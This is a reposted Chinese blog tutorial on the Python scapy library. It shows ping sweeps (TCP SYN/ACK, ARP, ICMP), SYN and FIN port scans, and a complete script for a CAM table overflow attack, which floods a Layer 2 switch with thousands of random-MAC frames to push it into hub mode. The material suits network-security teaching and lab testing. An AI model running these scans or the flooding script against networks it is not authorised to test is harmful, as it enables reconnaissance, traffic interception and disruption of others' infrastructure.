python--应用场景--scapy

一、环境搭建

  1. 安装:pip install scapy
  2. 官方文档:https://scapy.readthedocs.io/en/latest/index.html

二、应用举例

ping

#!/usr/bin/env python
#*-* coding:utf-8 -*-

from scapy.all import *

#TCP SYN Ping
ans,unans=sr( IP(dst="192.168.2.101-103")/TCP(dport=80,flags="S") )
ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") )

#TCP ACK Ping
ans, unans = sr(IP(dst='192.168.2.101-105')/TCP(dport=80, flags='A'))
ans.summary(lambda s,r : r.sprintf('{IP: %IP.src% is alive}'))

#ARP Ping
ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.56.0/24"),timeout=2)
ans.summary(lambda s,r : r.sprintf("%Ether.src% %ARP.psrc%") )

#ICMP Ping
ans,unans=sr(IP(dst="192.168.56.99-110")/ICMP())
ans.summary( lambda s,r : r.sprintf("{IP: %IP.src% is alive}") )

scan

#!/usr/bin/env python
#*-* coding:utf-8 -*-

from scapy.all import *

#SYN Scan
ans, unans = sr(IP(dst="192.168.56.90")/TCP(dport=(20,24),flags="S"))
ans.summary( lambda s,r : r.sprintf("%TCP.sport% \t %TCP.flags%") )

#FIN Scan
fin_packet = IP(dst='192.168.56.102')/TCP(dport=4444,flags='F')
resp = sr1(fin_packet)

attack

#-------------------------------------------------------------------------------#
#     A script to perform CAM overflow attack on Layer 2 switches               #
#                   Bharath(github.com/yamakira)                                #
#                                                                               #
#     CAM Table Overflow is flooding a switche's CAM table                      #
#     with a lot of fake entries to drive the switch into HUB mode.             #
#  (Send thousands of Ether packets with random MAC addresses in each packet)   #
#-------------------------------------------------------------------------------#

#!/usr/bin/env python
from scapy.all import Ether, IP, TCP, RandIP, RandMAC, sendp


'''Filling packet_list with ten thousand random Ethernet packets
   CAM overflow attacks need to be super fast.
   For that reason it's better to create a packet list before hand.
'''

def generate_packets():
    packet_list = []        #initializing packet_list to hold all the packets
    for i in xrange(1,10000):
        packet  = Ether(src = RandMAC(),dst= RandMAC())/IP(src=RandIP(),dst=RandIP())
        packet_list.append(packet)
    return packet_list

def cam_overflow(packet_list):
    sendp(packet_list, iface='tap0')

if __name__ == '__main__':
    packet_list = generate_packets()
    cam_overflow(packet_list)

 

转载于:https://my.oschina.net/u/3323607/blog/2647482

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值